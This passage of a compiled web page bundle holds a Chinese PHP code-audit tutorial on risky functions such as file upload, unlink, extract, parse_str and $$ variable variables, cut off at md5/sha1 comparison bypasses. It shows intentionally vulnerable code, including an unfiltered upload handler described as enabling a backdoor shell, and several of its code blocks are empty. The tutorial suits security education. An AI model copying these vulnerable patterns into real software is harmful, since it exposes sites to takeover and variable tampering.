fopen("demo.txt","rb");\n'})}),"\n",(0,r.jsxs)(n.p,{children:["\u5728\u8fd9\u6bb5\u4ee3\u7801\u4e2d",(0,r.jsx)(n.code,{children:"$file"}),"\u5c31\u662f\u4e00\u4e2a\u53e5\u67c4\u3002\u53e5\u67c4\u5173\u952e\u70b9\u5728\u201c\u67c4\u201d\uff0c\u540e\u9762\u7684",(0,r.jsx)(n.code,{children:"fopen"}),"\u662f\u4e00\u4e2a\u8d44\u6e90\uff0c\u597d\u6bd4\u4e00\u53e3\u9505\uff0c\u800c\u524d\u9762\u7684",(0,r.jsx)(n.code,{children:"$file"}),"\u5c31\u597d\u6bd4\u8fd9\u4e2a\u9505\u7684\u628a\u624b\u3002\u90a3\u4e48\u4ee5\u540e\u6211\u4eec\u5728\u64cd\u4f5c\u7684\u65f6\u5019\u64cd\u4f5c\u628a\u624b\u5c31\u884c\u4e86\u3002\u901a\u8fc7\u8fd9\u4e2a\u628a\u624b\u6211\u4eec\u53ef\u4ee5\u95f4\u63a5\u64cd\u4f5c\u6bd4\u8f83\u5927\u7684\u8d44\u6e90\u3002\u5176\u5b9e\u4e5f\u7c7b\u4f3cC\u8bed\u8a00\u4e2d\u7684\u6307\u9488\uff0c\u53ea\u662f\u4e00\u4e2a\u6807\u8bc6\u3002"]}),"\n",(0,r.jsx)(n.h3,{id:"\u6587\u4ef6\u4e0a\u4f20",children:"\u6587\u4ef6\u4e0a\u4f20"}),"\n",(0,r.jsx)(n.h4,{id:"move_uploaded_file",children:"move_uploaded_file()"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u662f\u5c06\u4e0a\u4f20\u7684\u6587\u4ef6\u79fb\u52a8\u5230\u65b0\u4f4d\u7f6e\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"move_uploaded_file(file,newloc)\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-23",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"file\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u8981\u79fb\u52a8\u7684\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(n.li,{children:"newloc\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u6587\u4ef6\u7684\u65b0\u4f4d\u7f6e\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u672c\u51fd\u6570\u68c0\u67e5\u5e76\u786e\u4fdd\u7531 file \u6307\u5b9a\u7684\u6587\u4ef6\u662f\u5408\u6cd5\u7684\u4e0a\u4f20\u6587\u4ef6\uff08\u5373\u901a\u8fc7 PHP \u7684 HTTP POST \u4e0a\u4f20\u673a\u5236\u6240\u4e0a\u4f20\u7684\uff09\u3002\u5982\u679c\u6587\u4ef6\u5408\u6cd5\uff0c\u5219\u5c06\u5176\u79fb\u52a8\u4e3a\u7531 newloc \u6307\u5b9a\u7684\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u5982\u679c file \u4e0d\u662f\u5408\u6cd5\u7684\u4e0a\u4f20\u6587\u4ef6\uff0c\u4e0d\u4f1a\u51fa\u73b0\u4efb\u4f55\u64cd\u4f5c\uff0cmove_uploaded_file() \u5c06\u8fd4\u56de false\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u5982\u679c file \u662f\u5408\u6cd5\u7684\u4e0a\u4f20\u6587\u4ef6\uff0c\u4f46\u51fa\u4e8e\u67d0\u4e9b\u539f\u56e0\u65e0\u6cd5\u79fb\u52a8\uff0c\u4e0d\u4f1a\u51fa\u73b0\u4efb\u4f55\u64cd\u4f5c\uff0cmove_uploaded_file() \u5c06\u8fd4\u56de false\uff0c\u6b64\u5916\u8fd8\u4f1a\u53d1\u51fa\u4e00\u6761\u8b66\u544a\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"$fileName = $_SERVER['DOCUMENT_ROOT'].'/uploads/'.$_FILES['file']['name'];\nmove_uploaded_file($_FILES['file']['tmp_name'],$fileName )\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u6bb5\u4ee3\u7801\u5c31\u662f\u76f4\u63a5\u63a5\u6536\u4e0a\u4f20\u7684\u6587\u4ef6\uff0c\u6ca1\u6709\u8fdb\u884c\u4efb\u4f55\u7684\u8fc7\u6ee4\uff0c\u90a3\u4e48\u5f53\u6211\u4eec\u4e0a\u4f20getshell\u7684\u540e\u95e8\u65f6\uff0c\u5c31\u53ef\u4ee5\u76f4\u63a5\u83b7\u53d6\u6743\u9650\uff0c\u53ef\u89c1\u8fd9\u4e2a\u51fd\u6570\u662f\u4e0d\u80fd\u4e71\u7528\u7684\uff0c\u5373\u4fbf\u8981\u7528\u4e5f\u8981\u5c06\u8fc7\u6ee4\u89c4\u5219\u5b8c\u5584\u597d\uff0c\u9632\u6b62\u4e0a\u4f20\u4e0d\u5408\u6cd5\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(n.h3,{id:"\u6587\u4ef6\u5220\u9664",children:"\u6587\u4ef6\u5220\u9664"}),"\n",(0,r.jsx)(n.h4,{id:"unlink",children:"unlink()"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u7528\u6765\u5220\u9664\u6587\u4ef6\u3002\u6210\u529f\u8fd4\u56de TURE \uff0c\u5931\u8d25\u8fd4\u56de FALSE\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"unlink(filename,context)\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-24",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"filename\uff1a\u5fc5\u9700\u3002\u8981\u5220\u9664\u7684\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(n.li,{children:"context\uff1a\u53ef\u9009\u3002\u53e5\u67c4\u73af\u5883\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u6211\u4eec\u77e5\u9053\uff0c\u4e00\u4e9b\u7f51\u7ad9\u662f\u6709\u5220\u9664\u529f\u80fd\u7684\u3002\u6bd4\u5982\u5e38\u89c1\u7684\u8bba\u575b\u7f51\u7ad9\uff0c\u662f\u6709\u5220\u9664\u8bc4\u8bba\u6216\u8005\u6587\u7ae0\u529f\u80fd\u7684\u3002\u5018\u82e5\u7f51\u7ad9\u6ca1\u6709\u5bf9\u5220\u9664\u5904\u505a\u9650\u5236\uff0c\u90a3\u4e48\u5c31\u53ef\u80fd\u4f1a\u5bfc\u81f4\u4efb\u610f\u6587\u4ef6\u5220\u9664\uff08\u751a\u81f3\u5220\u9664\u7f51\u7ad9\u6e90\u7801\uff09\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'\n'})}),"\n",(0,r.jsx)(n.h4,{id:"session_destroy",children:"session_destroy()"}),"\n",(0,r.jsx)(n.p,{children:"\u5728\u4e86\u89e3\u8fd9\u4e2a\u51fd\u6570\u4e4b\u524d\uff0c\u6211\u4eec\u9700\u8981\u5148\u4e86\u89e3 PHP session\u3002 PHP session \u53d8\u91cf\u7528\u4e8e\u5b58\u50a8\u5173\u4e8e\u7528\u6237\u4f1a\u8bdd\u7684\u4fe1\u606f\u3002\u5173\u4e8e sesson \u7684\u673a\u5236\u8fd9\u91cc\u6211\u5c31\u4e0d\u518d\u8fc7\u4e8e\u8be6\u7ec6\u4ecb\u7ecd\u3002"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"session_destroy()"}),"\u51fd\u6570\u7528\u6765\u9500\u6bc1\u4e00\u4e2a\u4f1a\u8bdd\u4e2d\u7684\u5168\u90e8\u6570\u636e\uff0c\u4f46\u5e76\u4e0d\u4f1a\u91cd\u7f6e\u5f53\u524d\u4f1a\u8bdd\u6240\u5173\u8054\u7684\u5168\u5c40\u53d8\u91cf\uff0c\u540c\u65f6\u4e5f\u4e0d\u4f1a\u91cd\u7f6e\u4f1a\u8bdd cookie"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:' \n'})}),"\n",(0,r.jsx)(n.h3,{id:"\u53d8\u91cf\u8986\u76d6",children:"\u53d8\u91cf\u8986\u76d6"}),"\n",(0,r.jsx)(n.h4,{id:"extract",children:"extract()"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u4ece\u6570\u7ec4\u4e2d\u5c06\u53d8\u91cf\u5bfc\u5165\u5230\u5f53\u524d\u7684\u7b26\u53f7\u8868\u3002\u5176\u5b9e\u4f5c\u7528\u5c31\u662f\u7ed9\u53d8\u91cf\u91cd\u65b0\u8d4b\u503c\uff0c\u4ece\u800c\u8fbe\u5230\u53d8\u91cf\u8986\u76d6\u7684\u4f5c\u7528\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"extract(array,extract_rules,prefix)\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-25",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"array\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u8981\u4f7f\u7528\u7684\u6570\u7ec4\u3002"}),"\n",(0,r.jsxs)(n.li,{children:["extract_rules\uff1a\u53ef\u9009\u3002extract\u51fd\u6570\u5c06\u68c0\u67e5\u6bcf\u4e2a\u952e\u540d\u662f\u5426\u4e3a\u5408\u6cd5\u7684\u53d8\u91cf\u540d\uff0c\u540c\u65f6\u4e5f\u68c0\u67e5\u548c\u7b26\u53f7\u4e2d\u5df2\u7ecf\u5b58\u5728\u7684\u53d8\u91cf\u540d\u662f\u5426\u51b2\u7a81\uff0c\u5bf9\u4e0d\u5408\u6cd5\u6216\u8005\u51b2\u7a81\u7684\u952e\u540d\u5c06\u4f1a\u6839\u636e\u6b64\u53c2\u6570\u7684\u8bbe\u5b9a\u7684\u89c4\u5219\u6765\u51b3\u5b9a\u3002\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"EXTR_OVERWRITE - \u9ed8\u8ba4\u3002\u5982\u679c\u6709\u51b2\u7a81\uff0c\u5219\u8986\u76d6\u5df2\u6709\u7684\u53d8\u91cf\u3002"}),"\n",(0,r.jsx)(n.li,{children:"EXTR_SKIP - \u5982\u679c\u6709\u51b2\u7a81\uff0c\u4e0d\u8986\u76d6\u5df2\u6709\u7684\u53d8\u91cf\u3002"}),"\n",(0,r.jsx)(n.li,{children:"EXTR_PREFIX_SAME - \u5982\u679c\u6709\u51b2\u7a81\uff0c\u5728\u53d8\u91cf\u540d\u524d\u52a0\u4e0a\u524d\u7f00 prefix\u3002"}),"\n",(0,r.jsx)(n.li,{children:"EXTR_PREFIX_ALL - \u7ed9\u6240\u6709\u53d8\u91cf\u540d\u52a0\u4e0a\u524d\u7f00 prefix\u3002"}),"\n",(0,r.jsx)(n.li,{children:"EXTR_PREFIX_INVALID - \u4ec5\u5728\u4e0d\u5408\u6cd5\u6216\u6570\u5b57\u53d8\u91cf\u540d\u524d\u52a0\u4e0a\u524d\u7f00 prefix\u3002"}),"\n",(0,r.jsx)(n.li,{children:"EXTR_IF_EXISTS - \u4ec5\u5728\u5f53\u524d\u7b26\u53f7\u8868\u4e2d\u5df2\u6709\u540c\u540d\u53d8\u91cf\u65f6\uff0c\u8986\u76d6\u5b83\u4eec\u7684\u503c\u3002\u5176\u5b83\u7684\u90fd\u4e0d\u5904\u7406\u3002"}),"\n",(0,r.jsx)(n.li,{children:"EXTR_PREFIX_IF_EXISTS - \u4ec5\u5728\u5f53\u524d\u7b26\u53f7\u8868\u4e2d\u5df2\u6709\u540c\u540d\u53d8\u91cf\u65f6\uff0c\u5efa\u7acb\u9644\u52a0\u4e86\u524d\u7f00\u7684\u53d8\u91cf\u540d\uff0c\u5176\u5b83\u7684\u90fd\u4e0d\u5904\u7406\u3002"}),"\n",(0,r.jsx)(n.li,{children:"EXTR_REFS - \u5c06\u53d8\u91cf\u4f5c\u4e3a\u5f15\u7528\u63d0\u53d6\u3002\u5bfc\u5165\u7684\u53d8\u91cf\u4ecd\u7136\u5f15\u7528\u4e86\u6570\u7ec4\u53c2\u6570\u7684\u503c\u3002"}),"\n"]}),"\n"]}),"\n",(0,r.jsx)(n.li,{children:"prefix\uff1a\u53ef\u9009\u3002\u5982\u679c extract_rules \u53c2\u6570\u7684\u503c\u662f EXTR_PREFIX_SAME\u3001EXTR_PREFIX_ALL\u3001 EXTR_PREFIX_INVALID \u6216 EXTR_PREFIX_IF_EXISTS\uff0c\u5219 prefix \u662f\u5fc5\u9700\u7684\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:' "red",\n "size" => "medium",\n "name" => "dog");\n extract($one_array);\n echo "$color, $size, $name";\n?>\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nred, medium, dog\n'})}),"\n",(0,r.jsx)(n.p,{children:"\u5728\u4e0a\u8ff0\u4ee3\u7801\u4e2d\uff0c\u6211\u4eec\u770b\u5230\uff0c\u672c\u6765\u6211\u4eec\u5b9a\u4e49\u7684color\u662fblue\uff0c\u8f93\u51fa\u7684\u65f6\u5019\u53d8\u6210\u4e86red\uff0c\u672c\u6765\u6211\u4eec\u6ca1\u6709\u5b9a\u4e49size\u548cname\uff0c\u53ef\u662f\u5374\u80fd\u8f93\u51fa\u8fd9\u4e24\u4e2a\u53d8\u91cf\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u8fd8\u6709\u4e00\u4e9b\u5728CTF\u6bd4\u8d5b\u4e2d\u51fa\u73b0\u8fc7\u7684\u7528\u6cd5\uff0c\u6bd4\u5982\u76f4\u63a5\u8ba9\u4f60POST\u4f20\u53c2\u6765\u6539\u53d8\u67d0\u4e2a\u53d8\u91cf\u7684\u503c\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u53c2\u65f6\u5982\u679c\u6211\u4eecPOST\u4f20\u5165name=dog\uff0c\u90a3\u4e48\u9875\u9762\u5c06\u4f1a\u56de\u663edog\uff0c\u8bf4\u660e\u8fd9\u4e2a\u51fd\u6570\u7684\u4f7f\u7528\u8ba9\u6211\u4eec\u5b9e\u73b0\u4e86\u53d8\u91cf\u7684\u8986\u76d6\uff0c\u6539\u53d8\u4e86\u53d8\u91cf\u7684\u503c\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"parse_str",children:"parse_str()"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u628a\u67e5\u8be2\u5230\u7684\u5b57\u7b26\u4e32\u89e3\u6790\u5230\u53d8\u91cf\u4e2d\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"parse_str(string,array)\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-26",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"string\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u8981\u89e3\u6790\u7684\u5b57\u7b26\u4e32\u3002"}),"\n",(0,r.jsx)(n.li,{children:"array\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u5b58\u50a8\u53d8\u91cf\u7684\u6570\u7ec4\u540d\u79f0\u3002\u8be5\u53c2\u6570\u53ea\u662f\u53d8\u91cf\u5b58\u50a8\u5230\u6570\u7ec4\u4e2d\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b:"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nArray\n(\n [name] => Ameng\n [sex] => boy\n)\n'})}),"\n",(0,r.jsx)(n.p,{children:"\u4e0a\u8ff0\u4ee3\u7801\u662f\u6709array\u60c5\u51b5\u4e0b\u7684\u4f7f\u7528\u60c5\u51b5\uff0c\u90a3\u4e48\u5982\u4f55\u5b9e\u73b0\u53d8\u91cf\u7684\u8986\u76d6\u5462\uff1f\u5982\u679c\u6ca1\u6709array \u53c2\u6570\uff0c\u5219\u7531\u8be5\u51fd\u6570\u8bbe\u7f6e\u7684\u53d8\u91cf\u5c06\u8986\u76d6\u5df2\u5b58\u5728\u7684\u540c\u540d\u53d8\u91cf\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nAmeng, \n"})}),"\n",(0,r.jsx)(n.p,{children:"\u901a\u8fc7\u4e0a\u8ff0\u4ee3\u7801\uff0c\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0\uff0c\u53d8\u91cfname\u548cage\u90fd\u53d1\u751f\u4e86\u53d8\u5316\uff0c\u88ab\u65b0\u7684\u503c\u8986\u76d6\u4e86\u3002\u8fd9\u91cc\u6211\u7528\u7684\u662f PHP 7.4.3 \u7248\u672c\u3002\u53d1\u73b0\u8fd9\u4e2a\u51fd\u6570\u7684\u8fd9\u4e2a\u4f5c\u7528\u8fd8\u662f\u5b58\u5728\u7684\uff0c\u4e14\u6ca1\u6709\u4efb\u4f55\u5371\u9669\u63d0\u793a\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"import_request_variables",children:"import_request_variables()"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u5c06GET/POST/Cookie\u53d8\u91cf\u5bfc\u5165\u5230\u5168\u5c40\u4f5c\u7528\u57df\u4e2d\u3002\u4ece\u800c\u80fd\u591f\u8fbe\u5230\u53d8\u91cf\u8986\u76d6\u7684\u4f5c\u7528\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u7248\u672c\u8981\u6c42\uff1aPHP 4 >= 4.1.0, PHP 5 < 5.4."}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"bool import_request_variables ( string $types [, string $prefix ] )\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-27",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"types\uff1a\u6307\u5b9a\u9700\u8981\u5bfc\u5165\u7684\u53d8\u91cf\uff0c\u53ef\u4ee5\u7528\u5b57\u6bcd G\u3001P \u548c C \u5206\u522b\u8868\u793a GET\u3001POST \u548c Cookie\uff0c\u8fd9\u4e9b\u5b57\u6bcd\u4e0d\u533a\u5206\u5927\u5c0f\u5199\uff0c\u6240\u4ee5\u4f60\u53ef\u4ee5\u4f7f\u7528 g \u3001 p \u548c c \u7684\u4efb\u4f55\u7ec4\u5408\u3002POST \u5305\u542b\u4e86\u901a\u8fc7 POST \u65b9\u6cd5\u4e0a\u4f20\u7684\u6587\u4ef6\u4fe1\u606f\u3002\u6ce8\u610f\u8fd9\u4e9b\u5b57\u6bcd\u7684\u987a\u5e8f\uff0c\u5f53\u4f7f\u7528 gp \u65f6\uff0cPOST \u53d8\u91cf\u5c06\u4f7f\u7528\u76f8\u540c\u7684\u540d\u5b57\u8986\u76d6 GET \u53d8\u91cf\u3002"}),"\n",(0,r.jsx)(n.li,{children:"prefix\uff1a\u53d8\u91cf\u540d\u7684\u524d\u7f00\uff0c\u7f6e\u4e8e\u6240\u6709\u88ab\u5bfc\u5165\u5230\u5168\u5c40\u4f5c\u7528\u57df\u7684\u53d8\u91cf\u4e4b\u524d\u3002\u6240\u4ee5\u5982\u679c\u4f60\u6709\u4e2a\u540d\u4e3a userid \u7684 GET \u53d8\u91cf\uff0c\u540c\u65f6\u63d0\u4f9b\u4e86 pref_ \u4f5c\u4e3a\u524d\u7f00\uff0c\u90a3\u4e48\u4f60\u5c06\u83b7\u5f97\u4e00\u4e2a\u540d\u4e3a $pref_userid \u7684\u5168\u5c40\u53d8\u91cf\u3002\u867d\u7136 prefix \u53c2\u6570\u662f\u53ef\u9009\u7684\uff0c\u4f46\u5982\u679c\u4e0d\u6307\u5b9a\u524d\u7f00\uff0c\u6216\u8005\u6307\u5b9a\u4e00\u4e2a\u7a7a\u5b57\u7b26\u4e32\u4f5c\u4e3a\u524d\u7f00\uff0c\u4f60\u5c06\u83b7\u5f97\u4e00\u4e2a E_NOTICE \u7ea7\u522b\u7684\u9519\u8bef\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u5982\u679c\u4ec0\u4e48\u53d8\u91cf\u4e5f\u4e0d\u4f20\uff0c\u90a3\u4e48\u9875\u9762\u5c06\u56de\u663e",(0,r.jsx)(n.code,{children:"You are not Ameng"}),"\u5982\u679c\u901a\u8fc7GET\u6216\u8005POST\u4f20\u5165",(0,r.jsx)(n.code,{children:"name=Ameng"}),"\u90a3\u4e48\u9875\u9762\u5c31\u4f1a\u56de\u663e",(0,r.jsx)(n.code,{children:"Ameng"})]}),"\n",(0,r.jsx)(n.p,{children:"\u53ef\u4ee5\u89c1\u5230\u6b64\u51fd\u6570\u8fd8\u662f\u5f88\u5371\u9669\u7684\uff0c\u6ca1\u6709\u4fee\u590d\u65b9\u6cd5\uff0c\u4e0d\u4f7f\u7528\u5c31\u662f\u6700\u597d\u7684\u65b9\u6cd5\u3002\u6240\u4ee5\u5728\u65b0\u7248\u672c\u7684 PHP \u4e2d\u5df2\u7ecf\u5e9f\u5f03\u4e86\u8fd9\u4e2a\u51fd\u6570\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"foreach",children:"foreach()"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"foreach"})," \u8bed\u6cd5\u7ed3\u6784\u63d0\u4f9b\u4e86\u904d\u5386\u6570\u7ec4\u7684\u7b80\u5355\u65b9\u5f0f\u3002",(0,r.jsx)(n.code,{children:"foreach"})," \u4ec5\u80fd\u591f\u5e94\u7528\u4e8e\u6570\u7ec4\u548c\u5bf9\u8c61\uff0c\u5982\u679c\u5c1d\u8bd5\u5e94\u7528\u4e8e\u5176\u4ed6\u6570\u636e\u7c7b\u578b\u7684\u53d8\u91cf\uff0c\u6216\u8005\u672a\u521d\u59cb\u5316\u7684\u53d8\u91cf\u5c06\u53d1\u51fa\u9519\u8bef\u4fe1\u606f\u3002\u6709\u4e24\u79cd\u8bed\u6cd5\uff1a"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"foreach (array_expression as $value)\n statement\nforeach (array_expression as $key => $value)\n statement\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u7b2c\u4e00\u79cd\u683c\u5f0f\u904d\u5386\u7ed9\u5b9a\u7684 array_expression \u6570\u7ec4\u3002\u6bcf\u6b21\u5faa\u73af\u4e2d\uff0c\u5f53\u524d\u5355\u5143\u7684\u503c\u88ab\u8d4b\u7ed9 $value \u5e76\u4e14\u6570\u7ec4\u5185\u90e8\u7684\u6307\u9488\u5411\u524d\u79fb\u4e00\u6b65\uff08\u56e0\u6b64\u4e0b\u4e00\u6b21\u5faa\u73af\u4e2d\u5c06\u4f1a\u5f97\u5230\u4e0b\u4e00\u4e2a\u5355\u5143\uff09\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u7b2c\u4e8c\u79cd\u683c\u5f0f\u505a\u540c\u6837\u7684\u4e8b\uff0c\u53ea\u662f\u9664\u4e86\u5f53\u524d\u5355\u5143\u7684\u952e\u540d\u4e5f\u4f1a\u5728\u6bcf\u6b21\u5faa\u73af\u4e2d\u88ab\u8d4b\u7ed9\u53d8\u91cf $key\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u90a3\u4e48\u8fd9\u4e2a\u51fd\u6570\u5982\u4f55\u5b9e\u73b0\u53d8\u91cf\u7684\u8986\u76d6\u5462\uff1f\u6211\u4eec\u6765\u770b\u4e2a\u6848\u4f8b."}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:" $value)\t{ \n $$key = $value; \n } \n if($name == \"Ameng\"){\n echo 'You are right!';\n }\n\telse{\n echo 'You are flase!';\n }\n?>\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u90a3\u4e48\u6267\u884c\u7ed3\u679c\u662f\u600e\u6837\u7684\u5462\uff1f\u5f53\u6211\u4eec\u76f4\u63a5\u6253\u5f00\u9875\u9762\u7684\u65f6\u5019\u5b83\u4f1a\u8f93\u51fa",(0,r.jsx)(n.code,{children:"You are false!"}),",\u800c\u5f53\u6211\u4eec\u901a\u8fc7GET\u4f20\u53c2",(0,r.jsx)(n.code,{children:"name=Ameng"}),"\u7684\u65f6\u5019\uff0c\u5b83\u4f1a\u56de\u663e",(0,r.jsx)(n.code,{children:"You are right!"}),"\u3002\u90a3\u4e48\u8fd9\u662f\u4e3a\u4ec0\u4e48\u5462\uff1f\u6211\u4eec\u6765\u5206\u6790\u4e00\u4e0b"]}),"\n",(0,r.jsxs)(n.p,{children:["\u5173\u952e\u70b9\u5c31\u5728\u4e8e",(0,r.jsx)(n.code,{children:"$$"}),"\u8fd9\u79cd\u5199\u6cd5\u3002\u8fd9\u79cd\u5199\u6cd5\u79f0\u4e3a\u53ef\u53d8\u53d8\u91cf\u3002\u4e00\u4e2a\u53d8\u91cf\u80fd\u591f\u83b7\u53d6\u4e00\u4e2a\u666e\u901a\u53d8\u91cf\u7684\u503c\u4f5c\u4e3a\u8fd9\u4e2a\u53ef\u53d8\u53d8\u91cf\u7684\u53d8\u91cf\u540d\u3002\u5f53\u4f7f\u7528",(0,r.jsx)(n.code,{children:"foreach"}),"\u6765\u904d\u5386\u6570\u7ec4\u4e2d\u7684\u503c\uff0c\u7136\u540e\u518d\u5c06\u83b7\u53d6\u5230\u7684\u6570\u7ec4\u952e\u540d\u4f5c\u4e3a\u53d8\u91cf\uff0c\u6570\u7ec4\u4e2d\u7684\u952e\u503c\u4f5c\u4e3a\u53d8\u91cf\u7684\u503c\u3002\u8fd9\u6837\u5c31\u4ea7\u751f\u4e86\u53d8\u91cf\u8986\u76d6\u6f0f\u6d1e\uff0c\u5982\u4e0a\u4ee3\u7801\u793a\u4f8b\u3002\u5176\u6267\u884c\u8fc7\u7a0b\u4e3a",(0,r.jsx)(n.code,{children:"$$key"}),"=",(0,r.jsx)(n.code,{children:"$name"}),"\uff0c\u6700\u540e\u8d4b\u503c\u4e3a",(0,r.jsx)(n.code,{children:"$value"}),"\uff0c\u4ece\u800c\u5b9e\u73b0\u4e86\u53d8\u91cf\u8986\u76d6\u3002"]}),"\n",(0,r.jsx)(n.h3,{id:"\u5f31\u7c7b\u578b\u6bd4\u8f83",children:"\u5f31\u7c7b\u578b\u6bd4\u8f83"}),"\n",(0,r.jsx)(n.h4,{id:"md5\u51fd\u6570\u548csha1\u7ed5\u8fc7",children:"md5()\u51fd\u6570\u548csha1()\u7ed5\u8fc7"}),"\n",(0,r.jsx)(n.p,{children:"\u5173\u4e8e\u8fd9\u4e24\u4e2a\u51fd\u6570\u60f3\u5fc5\u6211\u4eec\u4e0d\u964c\u751f\uff0c\u65e0\u8bba\u662f\u5728\u5b9e\u9645\u4ee3\u7801\u5ba1\u8ba1\u4e2d\uff0c\u8fd8\u662f\u5728CTF\u6bd4\u8d5b\u4e2d\uff0c\u8fd9\u4e9b\u6211\u4eec\u90fd\u662f\u78b0\u5230\u8fc7\u7684\u51fd\u6570\u3002\u90a3\u4e48\u5f53\u6211\u4eec\u9047\u5230\u7528\u8fd9\u4e24\u4e2a\u51fd\u6570\u6765\u5224\u65ad\u7684\u65f6\u5019\uff0c\u5982\u679c\u7ed5\u8fc7\u5462\uff1f"}),"\n",(0,r.jsxs)(n.p,{children:["PHP 